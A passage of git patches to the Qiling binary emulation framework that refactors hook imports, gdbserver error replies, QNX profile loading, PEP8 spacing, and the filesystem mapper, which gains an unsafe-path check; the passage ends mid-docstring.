b/qiling/core_hooks.py index f142684fd..411ce5941 100644 --- a/qiling/core_hooks.py +++ b/qiling/core_hooks.py @@ -8,7 +8,7 @@ # handling hooks # ############################################## -import functools +from functools import wraps from typing import Any, Callable, MutableMapping, MutableSequence, Protocol from typing import TYPE_CHECKING @@ -87,8 +87,7 @@ def __call__(self, __ql: 'Qiling', intno: int, *__context: Any) -> Any: def hookcallback(ql: 'Qiling', callback: Callable): - - functools.wraps(callback) + @wraps(callback) def wrapper(*args, **kwargs): try: return callback(*args, **kwargs) From 4b4ed620f04ad45af533fc32027aeaad25a9260a Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 12:49:38 +0200 Subject: [PATCH 035/103] Reduce module dependencies --- qiling/core_hooks.py | 44 +++++++++++++++++++++++++++++++++++++------- 1 file changed, 37 insertions(+), 7 deletions(-) diff --git a/qiling/core_hooks.py b/qiling/core_hooks.py index 411ce5941..49dbcebe4 100644 --- a/qiling/core_hooks.py +++ b/qiling/core_hooks.py @@ -8,22 +8,52 @@ # handling hooks # ############################################## +from __future__ import annotations + from functools import wraps from typing import Any, Callable, MutableMapping, MutableSequence, Protocol from typing import TYPE_CHECKING -from unicorn import Uc -from unicorn.unicorn_const import * +from unicorn.unicorn_const import ( + UC_HOOK_INTR, + UC_HOOK_INSN, + UC_HOOK_CODE, + UC_HOOK_BLOCK, + + UC_HOOK_MEM_READ_UNMAPPED, # attempt to read from an unmapped memory location + UC_HOOK_MEM_WRITE_UNMAPPED, # attempt to write to an unmapped memory location + UC_HOOK_MEM_FETCH_UNMAPPED, # attempt to fetch from an unmapped memory location + UC_HOOK_MEM_UNMAPPED, # any of the 3 above + + UC_HOOK_MEM_READ_PROT, # attempt to read from a non-readable memory location + UC_HOOK_MEM_WRITE_PROT, # attempt to write to a write-protected memory location + UC_HOOK_MEM_FETCH_PROT, # attempt to fetch from a non-executable memory location + UC_HOOK_MEM_PROT, # any of the 3 above + + UC_HOOK_MEM_READ_INVALID, # UC_HOOK_MEM_READ_UNMAPPED | UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_INVALID, # UC_HOOK_MEM_WRITE_UNMAPPED | UC_HOOK_MEM_WRITE_INVALID + UC_HOOK_MEM_FETCH_INVALID, # UC_HOOK_MEM_FETCH_UNMAPPED | UC_HOOK_MEM_FETCH_INVALID + UC_HOOK_MEM_INVALID, # any of the 3 above + + UC_HOOK_MEM_READ, # valid memory read + UC_HOOK_MEM_WRITE, # valid memory write + UC_HOOK_MEM_FETCH, # valid instruction fetch + UC_HOOK_MEM_VALID, # any of the 3 above + + UC_HOOK_MEM_READ_AFTER, + UC_HOOK_INSN_INVALID +) from .core_hooks_types import Hook, HookAddr, HookIntr, HookRet from .const import QL_HOOK_BLOCK from .exception import QlErrorCoreHook if TYPE_CHECKING: + from unicorn import Uc from qiling import Qiling class MemHookCallback(Protocol): - def __call__(self, __ql: 'Qiling', __access: int, __address: int, __size: int, __value: int, *__context: Any) -> Any: + def __call__(self, __ql: Qiling, __access: int, __address: int, __size: int, __value: int, *__context: Any) -> Any: """Memory access hook callback. Args: @@ -41,7 +71,7 @@ def __call__(self, __ql: 'Qiling', __access: int, __address: int, __size: int, _ pass class TraceHookCalback(Protocol): - def __call__(self, __ql: 'Qiling', __address: int, __size: int, *__context: Any) -> Any: + def __call__(self, __ql: Qiling, __address: int, __size: int, *__context: Any) -> Any: """Execution hook callback. Args: @@ -57,7 +87,7 @@ def __call__(self, __ql: 'Qiling', __address: int, __size: int, *__context: Any) pass class AddressHookCallback(Protocol): - def __call__(self, __ql: 'Qiling', *__context: Any) -> Any: + def __call__(self, __ql: Qiling, *__context: Any) -> Any: """Address hook callback. Args: @@ -71,7 +101,7 @@ def __call__(self, __ql: 'Qiling', *__context: Any) -> Any: pass class InterruptHookCallback(Protocol): - def __call__(self, __ql: 'Qiling', intno: int, *__context: Any) -> Any: + def __call__(self, __ql: Qiling, intno: int, *__context: Any) -> Any: """Interrupt hook callback. Args: @@ -86,7 +116,7 @@ def __call__(self, __ql: 'Qiling', intno: int, *__context: Any) -> Any: pass -def hookcallback(ql: 'Qiling', callback: Callable): +def hookcallback(ql: Qiling, callback: Callable): @wraps(callback) def wrapper(*args, **kwargs): try: From b9f61a9cfde5c0ae370e32bee0870026130a7689 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 12:53:07 +0200 Subject: [PATCH 036/103] Have gdbserver report back Uc errors --- qiling/debugger/gdb/gdb.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/qiling/debugger/gdb/gdb.py b/qiling/debugger/gdb/gdb.py index 6dd7b3614..22feaebae 100644 --- a/qiling/debugger/gdb/gdb.py +++ b/qiling/debugger/gdb/gdb.py @@ -293,11 +293,11 @@ def handle_m(subcmd: str) -> Reply: addr, size = (int(p, 16) for p in subcmd.split(',')) try: - data = self.ql.mem.read(addr, size).hex() - except UcError: - return 'E14' + data = self.ql.mem.read(addr, size) + except UcError as ex: + return f'E{ex.errno:02d}' else: - return data + return data.hex() def handle_M(subcmd: str) -> Reply: """Write target memory. @@ -313,8 +313,8 @@ def handle_M(subcmd: str) -> Reply: try: self.ql.mem.write(addr, data) - except UcError: - return 'E01' + except UcError as ex: + return f'E{ex.errno:02d}' else: return REPLY_OK @@ -693,8 +693,8 @@ def handle_X(subcmd: str) -> Reply: try: if data: self.ql.mem.write(addr, data.encode(ENCODING)) - except UcError: - return 'E01' + except UcError as ex: + return f'E{ex.errno:02d}' else: return REPLY_OK From c89b43a41153e9f28719b9806f15911919d9613b Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 13:01:30 +0200 Subject: [PATCH 037/103] Opportunistic PEP8 fixes --- qiling/core_hooks.py | 35 +++++++------------------------- qiling/os/freebsd/freebsd.py | 8 +++----- qiling/os/os.py | 4 ++-- qiling/os/posix/const_mapping.py | 7 ++++--- qiling/os/posix/posix.py | 10 ++++----- qiling/os/qnx/qnx.py | 11 ++++------ 6 files changed, 25 insertions(+), 50 deletions(-) diff --git a/qiling/core_hooks.py b/qiling/core_hooks.py index 49dbcebe4..58d4d736e 100644 --- a/qiling/core_hooks.py +++ b/qiling/core_hooks.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -52,6 +52,7 @@ from unicorn import Uc from qiling import Qiling + class MemHookCallback(Protocol): def __call__(self, __ql: Qiling, __access: int, __address: int, __size: int, __value: int, *__context: Any) -> Any: """Memory access hook callback. @@ -70,6 +71,7 @@ def __call__(self, __ql: Qiling, __access: int, __address: int, __size: int, __v """ pass + class TraceHookCalback(Protocol): def __call__(self, __ql: Qiling, __address: int, __size: int, *__context: Any) -> Any: """Execution hook callback. @@ -86,6 +88,7 @@ def __call__(self, __ql: Qiling, __address: int, __size: int, *__context: Any) - """ pass + class AddressHookCallback(Protocol): def __call__(self, __ql: Qiling, *__context: Any) -> Any: """Address hook callback. @@ -100,6 +103,7 @@ def __call__(self, __ql: Qiling, *__context: Any) -> Any: """ pass + class InterruptHookCallback(Protocol): def __call__(self, __ql: Qiling, intno: int, *__context: Any) -> Any: """Interrupt hook callback. @@ -142,10 +146,10 @@ def __init__(self, uc: Uc): self._addr_hook: MutableMapping[int, MutableSequence[HookAddr]] = {} self._addr_hook_fuc: MutableMapping[int, int] = {} - ######################## # Callback definitions # ######################## + def _hook_intr_cb(self, uc: Uc, intno: int, pack_data) -> None: """Interrupt hooks dispatcher. """ @@ -171,7 +175,6 @@ def _hook_intr_cb(self, uc: Uc, intno: int, pack_data) -> None: if not handled: raise QlErrorCoreHook("_hook_intr_cb : not handled") - def _hook_insn_cb(self, uc: Uc, *args): """Instruction hooks dispatcher. """ @@ -195,7 +198,6 @@ def _hook_insn_cb(self, uc: Uc, *args): # use the last return value received return retval - def _hook_trace_cb(self, uc: Uc, addr: int, size: int, pack_data) -> None: """Code and block hooks dispatcher. """ @@ -212,7 +214,6 @@ def _hook_trace_cb(self, uc: Uc, addr: int, size: int, pack_data) -> None: if type(ret) is int and ret & QL_HOOK_BLOCK: break - def _hook_mem_cb(self, uc: Uc, access: int, addr: int, size: int, value: int, pack_data): """Memory access hooks dispatcher. """ @@ -236,7 +237,6 @@ def _hook_mem_cb(self, uc: Uc, access: int, addr: int, size: int, value: int, pa return True - def _hook_insn_invalid_cb(self, uc: Uc, pack_data) -> None: """Invalid instruction hooks dispatcher. """ @@ -257,7 +257,6 @@ def _hook_insn_invalid_cb(self, uc: Uc, pack_data) -> None: if not handled: raise QlErrorCoreHook("_hook_insn_invalid_cb : not handled") - def _hook_addr_cb(self, uc: Uc, addr: int, size: int, pack_data): """Address hooks dispatcher. """ @@ -276,18 +275,17 @@ def _hook_addr_cb(self, uc: Uc, addr: int, size: int, pack_data): ############### # Class Hooks # ############### + def _ql_hook_internal(self, hook_type: int, callback: Callable, context: Any, *args) -> int: _callback = hookcallback(self, callback) return self._h_uc.hook_add(hook_type, _callback, (self, context), 1, 0, *args) - def _ql_hook_addr_internal(self, callback: Callable, address: int) -> int: _callback = hookcallback(self, callback) return self._h_uc.hook_add(UC_HOOK_CODE, _callback, self, address, address) - def _ql_hook(self, hook_type: int, h: Hook, *args) -> None: def __handle_intr(t: int) -> None: @@ -359,7 +357,6 @@ def __handle_invalid_insn(t: int) -> None: if hook_type & t: handler(t) - def ql_hook(self, hook_type: int, callback: Callable, user_data: Any = None, begin: int = 1, end: int = 0, *args) -> HookRet: """Intercept certain emulation events within a specified range. @@ -384,7 +381,6 @@ def ql_hook(self, hook_type: int, callback: Callable, user_data: Any = None, beg return HookRet(self, hook_type, hook) - def hook_code(self, callback: TraceHookCalback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept assembly instructions before they get executed. @@ -403,12 +399,10 @@ def hook_code(self, callback: TraceHookCalback, user_data: Any = None, begin: in return self.ql_hook(UC_HOOK_CODE, callback, user_data, begin, end) - # TODO: remove; this is a special case of hook_intno(-1) def hook_intr(self, callback, user_data=None, begin=1, end=0): return self.ql_hook(UC_HOOK_INTR, callback, user_data, begin, end) - def hook_block(self, callback: TraceHookCalback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept landings in new basic blocks in a specified range. @@ -427,7 +421,6 @@ def hook_block(self, callback: TraceHookCalback, user_data: Any = None, begin: i return self.ql_hook(UC_HOOK_BLOCK, callback, user_data, begin, end) - def hook_mem_unmapped(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept illegal accesses to unmapped memory in a specified range. @@ -446,7 +439,6 @@ def hook_mem_unmapped(self, callback: MemHookCallback, user_data: Any = None, be return self.ql_hook(UC_HOOK_MEM_UNMAPPED, callback, user_data, begin, end) - def hook_mem_read_invalid(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept illegal reading attempts from a specified range. @@ -465,7 +457,6 @@ def hook_mem_read_invalid(self, callback: MemHookCallback, user_data: Any = None return self.ql_hook(UC_HOOK_MEM_READ_INVALID, callback, user_data, begin, end) - def hook_mem_write_invalid(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept illegal writing attempts to a specified range. @@ -484,7 +475,6 @@ def hook_mem_write_invalid(self, callback: MemHookCallback, user_data: Any = Non return self.ql_hook(UC_HOOK_MEM_WRITE_INVALID, callback, user_data, begin, end) - def hook_mem_fetch_invalid(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept illegal code fetching attempts from a specified range. @@ -503,7 +493,6 @@ def hook_mem_fetch_invalid(self, callback: MemHookCallback, user_data: Any = Non return self.ql_hook(UC_HOOK_MEM_FETCH_INVALID, callback, user_data, begin, end) - def hook_mem_valid(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept benign memory accesses within a specified range. This is equivalent to hooking memory reads, writes and fetches. @@ -523,7 +512,6 @@ def hook_mem_valid(self, callback: MemHookCallback, user_data: Any = None, begin return self.ql_hook(UC_HOOK_MEM_VALID, callback, user_data, begin, end) - def hook_mem_invalid(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept invalid memory accesses within a specified range. This is equivalent to hooking invalid memory reads, writes and fetches. @@ -543,7 +531,6 @@ def hook_mem_invalid(self, callback: MemHookCallback, user_data: Any = None, beg return self.ql_hook(UC_HOOK_MEM_INVALID, callback, user_data, begin, end) - def hook_address(self, callback: AddressHookCallback, address: int, user_data: Any = None) -> HookRet: """Intercept execution from a certain memory address. @@ -569,7 +556,6 @@ def hook_address(self, callback: AddressHookCallback, address: int, user_data: A # note: assuming 0 is not a valid hook type return HookRet(self, 0, hook) - def hook_intno(self, callback: InterruptHookCallback, intno: int, user_data: Any = None) -> HookRet: """Intercept interrupts. @@ -587,7 +573,6 @@ def hook_intno(self, callback: InterruptHookCallback, intno: int, user_data: Any return HookRet(self, UC_HOOK_INTR, hook) - def hook_mem_read(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept benign memory reads from a specified range. @@ -606,7 +591,6 @@ def hook_mem_read(self, callback: MemHookCallback, user_data: Any = None, begin: return self.ql_hook(UC_HOOK_MEM_READ, callback, user_data, begin, end) - def hook_mem_write(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept benign memory writes to a specified range. @@ -625,7 +609,6 @@ def hook_mem_write(self, callback: MemHookCallback, user_data: Any = None, begin return self.ql_hook(UC_HOOK_MEM_WRITE, callback, user_data, begin, end) - def hook_mem_fetch(self, callback: MemHookCallback, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept benign code fetches from a specified range. @@ -644,7 +627,6 @@ def hook_mem_fetch(self, callback: MemHookCallback, user_data: Any = None, begin return self.ql_hook(UC_HOOK_MEM_FETCH, callback, user_data, begin, end) - def hook_insn(self, callback, insn_type: int, user_data: Any = None, begin: int = 1, end: int = 0) -> HookRet: """Intercept execution of a certain instruction type within a specified range. @@ -666,7 +648,6 @@ def hook_insn(self, callback, insn_type: int, user_data: Any = None, begin: int return self.ql_hook(UC_HOOK_INSN, callback, user_data, begin, end, insn_type) - def hook_del(self, hret: HookRet) -> None: """Unregister an existing hook and release its resources. @@ -721,7 +702,6 @@ def __remove(hooks_map, handles_map, key: int) -> None: if hook_type & t: handler(t) - def clear_hooks(self): for ptr in self._hook_fuc.values(): self._h_uc.hook_del(ptr) @@ -734,7 +714,6 @@ def clear_hooks(self): self.clear_ql_hooks() - def clear_ql_hooks(self): self._hook = {} self._hook_fuc = {} diff --git a/qiling/os/freebsd/freebsd.py b/qiling/os/freebsd/freebsd.py index b578198ae..5bcb920d0 100644 --- a/qiling/os/freebsd/freebsd.py +++ b/qiling/os/freebsd/freebsd.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -10,6 +10,7 @@ from qiling.const import QL_OS from qiling.os.posix.posix import QlOsPosix + class QlOsFreebsd(QlOsPosix): type = QL_OS.FREEBSD @@ -18,7 +19,6 @@ def __init__(self, ql): self.load() - def load(self): gdtm = GDTManager(self.ql) @@ -28,16 +28,14 @@ def load(self): self.ql.hook_insn(self.hook_syscall, UC_X86_INS_SYSCALL) - def hook_syscall(self, ql): return self.load_syscall() - def run(self): if self.ql.exit_point is not None: self.exit_point = self.ql.exit_point - if self.ql.entry_point is not None: + if self.ql.entry_point is not None: self.ql.loader.elf_entry = self.ql.entry_point try: diff --git a/qiling/os/os.py b/qiling/os/os.py index 006d094f9..19553ff2a 100644 --- a/qiling/os/os.py +++ b/qiling/os/os.py @@ -48,9 +48,9 @@ def __init__(self, ql: Qiling, resolvers: Mapping[Any, Resolver] = {}): self.fs_mapper = QlFsMapper(self.path) self.user_defined_api = { - QL_INTERCEPT.CALL : {}, + QL_INTERCEPT.CALL: {}, QL_INTERCEPT.ENTER: {}, - QL_INTERCEPT.EXIT : {} + QL_INTERCEPT.EXIT: {} } # IDAPython has some hack on standard io streams and thus they don't have corresponding fds. diff --git a/qiling/os/posix/const_mapping.py b/qiling/os/posix/const_mapping.py index 2fcd2d3c2..9b32b8c4a 100644 --- a/qiling/os/posix/const_mapping.py +++ b/qiling/os/posix/const_mapping.py @@ -156,12 +156,13 @@ def socket_domain_mapping(p: int, archtype: QL_ARCH, ostype: QL_OS) -> str: def socket_tcp_option_mapping(t: int, archtype: QL_ARCH) -> str: socket_option_map = { - QL_ARCH.X86: linux_socket_tcp_options, + QL_ARCH.X86: linux_socket_tcp_options, QL_ARCH.X8664: linux_socket_tcp_options, - QL_ARCH.ARM: linux_socket_tcp_options, + QL_ARCH.ARM: linux_socket_tcp_options, QL_ARCH.ARM64: linux_socket_tcp_options, - QL_ARCH.MIPS: linux_socket_tcp_options, + QL_ARCH.MIPS: linux_socket_tcp_options, }[archtype] + return _constant_mapping(t, socket_option_map) diff --git a/qiling/os/posix/posix.py b/qiling/os/posix/posix.py index a4f88f052..bce85b7ed 100644 --- a/qiling/os/posix/posix.py +++ b/qiling/os/posix/posix.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -110,9 +110,9 @@ def __init__(self, ql: Qiling): self.ifrname_ovr = conf.get('ifrname_override') self.posix_syscall_hooks = { - QL_INTERCEPT.CALL : {}, + QL_INTERCEPT.CALL: {}, QL_INTERCEPT.ENTER: {}, - QL_INTERCEPT.EXIT : {} + QL_INTERCEPT.EXIT: {} } self.__syscall_id_reg = { @@ -191,7 +191,7 @@ def root(self, enabled: bool) -> None: self.euid = 0 if enabled else self.uid self.egid = 0 if enabled else self.gid - def set_syscall(self, target: Union[int, str], handler: Callable, intercept: QL_INTERCEPT=QL_INTERCEPT.CALL): + def set_syscall(self, target: Union[int, str], handler: Callable, intercept: QL_INTERCEPT = QL_INTERCEPT.CALL): """Either hook or replace a system call with a custom one. Args: @@ -298,7 +298,7 @@ def __get_os_module(osname: str): raise e # print out log entry - syscall_basename = syscall_name[len(SYSCALL_PREF) if syscall_name.startswith(SYSCALL_PREF) else 0:] + syscall_basename = syscall_name[len(SYSCALL_PREF) if syscall_name.startswith(SYSCALL_PREF) else 0:] args = [] diff --git a/qiling/os/qnx/qnx.py b/qiling/os/qnx/qnx.py index 1d6172dd1..cb1e59a61 100644 --- a/qiling/os/qnx/qnx.py +++ b/qiling/os/qnx/qnx.py @@ -1,5 +1,5 @@ #!/usr/bin/env python3 -# +# # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # @@ -20,6 +20,7 @@ from qiling.os.const import * from qiling.os.posix.posix import QlOsPosix + class QlOsQnx(QlOsPosix): type = QL_OS.QNX @@ -46,7 +47,7 @@ def __init__(self, ql: Qiling): self.fh = None self.function_after_load_list = [] self.load() - + # use counters to get free Ids self.channel_id = 1 # TODO: replace 0x400 with NR_OPEN from Qiling 1.25 @@ -74,26 +75,22 @@ def load(self): 'get_tls': 0xffff0fe0 }) - def hook_syscall(self, ql, intno): return self.load_syscall() - def register_function_after_load(self, function): if function not in self.function_after_load_list: self.function_after_load_list.append(function) - def run_function_after_load(self): for f in self.function_after_load_list: f() - def run(self): if self.ql.exit_point is not None: self.exit_point = self.ql.exit_point - if self.ql.entry_point is not None: + if self.ql.entry_point is not None: self.ql.loader.elf_entry = self.ql.entry_point self.cpupage_addr = int(self.ql.os.profile.get("OS32", "cpupage_address"), 16) From c67a64eba829753899d084e81bc4b2c4088e1c55 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 13:06:05 +0200 Subject: [PATCH 038/103] Properly load QNS profile values --- qiling/os/qnx/qnx.py | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/qiling/os/qnx/qnx.py b/qiling/os/qnx/qnx.py index cb1e59a61..7187aefcf 100644 --- a/qiling/os/qnx/qnx.py +++ b/qiling/os/qnx/qnx.py @@ -3,8 +3,6 @@ # Cross Platform and Multi Architecture Advanced Binary Emulation Framework # -import os - from unicorn import UcError from qiling import Qiling @@ -93,15 +91,17 @@ def run(self): if self.ql.entry_point is not None: self.ql.loader.elf_entry = self.ql.entry_point - self.cpupage_addr = int(self.ql.os.profile.get("OS32", "cpupage_address"), 16) - self.cpupage_tls_addr = int(self.ql.os.profile.get("OS32", "cpupage_tls_address"), 16) - self.tls_data_addr = int(self.ql.os.profile.get("OS32", "tls_data_address"), 16) - self.syspage_addr = int(self.ql.os.profile.get("OS32", "syspage_address"), 16) - syspage_path = os.path.join(self.ql.rootfs, "syspage.bin") + profile = self.ql.os.profile['OS32'] + + self.cpupage_addr = profile.getint('cpupage_address') + self.cpupage_tls_addr = profile.getint('cpupage_tls_address') + self.tls_data_addr = profile.getint('tls_data_address') + self.syspage_addr = profile.getint('syspage_address') self.ql.mem.map(self.syspage_addr, 0x4000, info="[syspage_mem]") - - with open(syspage_path, "rb") as sp: + syspage_hpath = self.ql.os.path.virtual_to_host_path("/syspage.bin") + + with open(syspage_hpath, "rb") as sp: self.ql.mem.write(self.syspage_addr, sp.read()) # Address of struct _thread_local_storage for our thread From 5e9738c904c4092fb8a400fae355ba3d9d6a1a33 Mon Sep 17 00:00:00 2001 From: elicn Date: Fri, 10 Mar 2023 13:09:06 +0200 Subject: [PATCH 039/103] Minor code rearrangements in gdb --- qiling/debugger/gdb/gdb.py | 58 +++++++++++++++++++++----------------- 1 file changed, 32 insertions(+), 26 deletions(-) diff --git a/qiling/debugger/gdb/gdb.py b/qiling/debugger/gdb/gdb.py index 22feaebae..e8c501181 100644 --- a/qiling/debugger/gdb/gdb.py +++ b/qiling/debugger/gdb/gdb.py @@ -78,36 +78,42 @@ def __init__(self, ql: Qiling, ip: str = '127.0.0.1', port: int = 9999): self.ip = ip self.port = port - if ql.baremetal: - load_address = ql.loader.load_address - exit_point = load_address + os.path.getsize(ql.path) - elif ql.code: - load_address = ql.os.entry_point - exit_point = load_address + len(ql.code) - else: - load_address = ql.loader.load_address - exit_point = load_address + os.path.getsize(ql.path) + def __get_attach_addr() -> int: + if ql.baremetal: + entry_point = ql.loader.entry_point - if ql.baremetal: - entry_point = ql.loader.entry_point - elif ql.os.type in (QL_OS.LINUX, QL_OS.FREEBSD) and not ql.code: - entry_point = ql.os.elf_entry - else: - entry_point = ql.os.entry_point + elif ql.os.type in (QL_OS.LINUX, QL_OS.FREEBSD) and not ql.code: + entry_point = ql.os.elf_entry + + else: + entry_point = ql.os.entry_point + + # though linkers set the entry point LSB to indicate arm thumb mode, the + # effective entry point address is aligned. make sure we have it aligned + if hasattr(ql.arch, 'is_thumb'): + entry_point &= ~0b1 - # though linkers set the entry point LSB to indicate arm thumb mode, the - # effective entry point address is aligned. make sure we have it aligned - if hasattr(ql.arch, 'is_thumb'): - entry_point &= ~0b1 + return entry_point + + def __get_detach_addr() -> int: + if ql.baremetal: + base = ql.loader.load_address + size = os.path.getsize(ql.path) + + elif ql.code: + base = ql.os.entry_point + size = len(ql.code) + + else: + base = ql.loader.load_address + size = os.path.getsize(ql.path) - # Only part of the binary file will be debugged. - if ql.entry_point is not None: - entry_point = ql.entry_point + return base + size - if ql.exit_point is not None: - exit_point = ql.exit_point + attach_addr = __get_attach_addr() if ql.entry_point is None else ql.entry_point + detach_addr = __get_detach_addr() if ql.exit_point is None else ql.exit_point - self.gdb = QlGdbUtils(ql, entry_point, exit_point) + self.gdb = QlGdbUtils(ql, attach_addr, detach_addr) self.features = QlGdbFeatures(self.ql.arch.type, self.ql.os.type) self.regsmap = self.features.regsmap @@ -837,7 +843,7 @@ def readpackets(self) -> Iterator[bytes]: buffer += incoming # discard incoming acks - if buffer[0:1] == REPLY_ACK: + if buffer.startswith(REPLY_ACK): del buffer[0] packet = pattern.match(buffer) From f58c4942cb7ee14ebb96e47abd98e9964c1dd86e Mon Sep 17 00:00:00 2001 From: elicn Date: Mon, 27 Mar 2023 20:22:53 +0300 Subject: [PATCH 040/103] Revamp FS mapper --- qiling/core.py | 4 +- qiling/loader/dos.py | 2 +- qiling/os/linux/linux.py | 10 +- qiling/os/mapper.py | 226 ++++++++++++++++++++++++++------------- 4 files changed, 162 insertions(+), 80 deletions(-) diff --git a/qiling/core.py b/qiling/core.py index 2cb5aff75..70c2ecad4 100644 --- a/qiling/core.py +++ b/qiling/core.py @@ -697,11 +697,11 @@ def restore(self, saved_states: Mapping[str, Any] = {}, *, snapshot: Optional[st # Map "ql_path" to any objects which implements QlFsMappedObject. def add_fs_mapper(self, ql_path: Union["PathLike", str], real_dest): - self.os.fs_mapper.add_fs_mapping(ql_path, real_dest) + self.os.fs_mapper.add_mapping(ql_path, real_dest) # Remove "ql_path" mapping. def remove_fs_mapper(self, ql_path: Union["PathLike", str]): - self.os.fs_mapper.remove_fs_mapping(ql_path) + self.os.fs_mapper.remove_mapping(ql_path) # push to stack bottom, and update stack register def stack_push(self, data): diff --git a/qiling/loader/dos.py b/qiling/loader/dos.py index 5e3db8bbd..847a51c49 100644 --- a/qiling/loader/dos.py +++ b/qiling/loader/dos.py @@ -84,7 +84,7 @@ def run(self): # https://en.wikipedia.org/wiki/Master_boot_record#BIOS_to_MBR_interface if not self.ql.os.fs_mapper.has_mapping(0x80): - self.ql.os.fs_mapper.add_fs_mapping(0x80, QlDisk(path, 0x80)) + self.ql.os.fs_mapper.add_mapping(0x80, QlDisk(path, 0x80)) # 0x80 -> first drive self.ql.arch.regs.dx = 0x80 diff --git a/qiling/os/linux/linux.py b/qiling/os/linux/linux.py index d10bb9033..3f7196924 100644 --- a/qiling/os/linux/linux.py +++ b/qiling/os/linux/linux.py @@ -121,11 +121,11 @@ def load(self): self.fd[i] = None def setup_procfs(self): - self.fs_mapper.add_fs_mapping(r'/proc/self/auxv', partial(QlProcFS.self_auxv, self)) - self.fs_mapper.add_fs_mapping(r'/proc/self/cmdline', partial(QlProcFS.self_cmdline, self)) - self.fs_mapper.add_fs_mapping(r'/proc/self/environ', partial(QlProcFS.self_environ, self)) - self.fs_mapper.add_fs_mapping(r'/proc/self/exe', partial(QlProcFS.self_exe, self)) - self.fs_mapper.add_fs_mapping(r'/proc/self/maps', partial(QlProcFS.self_map, self.ql.mem)) + self.fs_mapper.add_mapping(r'/proc/self/auxv', partial(QlProcFS.self_auxv, self), force=True) + self.fs_mapper.add_mapping(r'/proc/self/cmdline', partial(QlProcFS.self_cmdline, self), force=True) + self.fs_mapper.add_mapping(r'/proc/self/environ', partial(QlProcFS.self_environ, self), force=True) + self.fs_mapper.add_mapping(r'/proc/self/exe', partial(QlProcFS.self_exe, self), force=True) + self.fs_mapper.add_mapping(r'/proc/self/maps', partial(QlProcFS.self_map, self.ql.mem), force=True) def hook_syscall(self, ql, intno = None): return self.load_syscall() diff --git a/qiling/os/mapper.py b/qiling/os/mapper.py index cc0d840c5..583081097 100644 --- a/qiling/os/mapper.py +++ b/qiling/os/mapper.py @@ -4,11 +4,15 @@ # import os +from os import PathLike from typing import Any, Callable, MutableMapping, Union from .path import QlOsPath from .filestruct import ql_file +QlPath = Union['PathLike[str]', str, 'PathLike[bytes]', bytes] + + # All mapped objects should inherit this class. # Note this object is compatible with ql_file. # Q: Why not derive from ql_file directly? @@ -63,115 +67,193 @@ def __init__(self, path: QlOsPath): self._mapping: MutableMapping[str, Any] = {} self.path = path - def _open_mapping_ql_file(self, ql_path: str, openflags: int, openmode: int): - real_dest = self._mapping[ql_path] + def __contains__(self, vpath: str) -> bool: + # canonicalize the path first + absvpath = self.path.virtual_abspath(vpath) - if isinstance(real_dest, str): - obj = ql_file.open(real_dest, openflags, openmode) + return absvpath in self._mapping - elif callable(real_dest): - obj = real_dest() + def has_mapping(self, vpath: str) -> bool: + """Check whether a specific virtrual path has a binding. - else: - obj = real_dest + Args: + vpath: virtual path name to check - return obj + Returns: `True` if the specified virtual path has been bound, `False` otherwise. + """ - def _open_mapping(self, ql_path: str, openmode: str): - real_dest = self._mapping[ql_path] + return vpath in self - if isinstance(real_dest, str): - obj = open(real_dest, openmode) + def __len__(self) -> int: + return len(self._mapping) - elif callable(real_dest): - obj = real_dest() + def mapping_count(self) -> int: + """Count of currently existing bindings. + """ + + return len(self) + def __open_mapped(self, absvpath: str, opener: Callable, *args) -> Any: + """Internal method user for opening an existing mapped object. + + Args: + absvpath: absolute virtual path name + opener: a method to use to open the target host path + *args: arguments to the opener method + """ + + mapped = self._mapping[absvpath] + + # mapped to a file name on the host file system + if isinstance(mapped, str): + obj = opener(mapped, *args) + + # mapped to a class or a method + elif callable(mapped): + obj = mapped() + + # mapped to another kind of object else: - obj = real_dest + obj = mapped return obj - def has_mapping(self, fm: str) -> bool: - return fm in self._mapping + def __open_new(self, absvpath: str, opener: Callable, *args) -> Any: + hpath = self.path.virtual_to_host_path(absvpath) - def mapping_count(self) -> int: - return len(self._mapping) + if not self.path.is_safe_host_path(hpath): + raise PermissionError(f'unsafe path: {hpath}') - def open_ql_file(self, path: str, openflags: int, openmode: int): - if self.has_mapping(path): - return self._open_mapping_ql_file(path, openflags, openmode) + return opener(hpath, *args) - host_path = self.path.virtual_to_host_path(path) + def open_ql_file(self, vpath: str, flags: int, mode: int): + absvpath = self.path.virtual_abspath(vpath) + opener = self.__open_mapped if self.has_mapping(absvpath) else self.__open_new + + return opener(absvpath, ql_file.open, flags, mode) + + def open(self, vpath: str, mode: str): + absvpath = self.path.virtual_abspath(vpath) + opener = self.__open_mapped if self.has_mapping(absvpath) else self.__open_new + + return opener(absvpath, open, mode) + + def file_exists(self, vpath: str) -> bool: + """Check 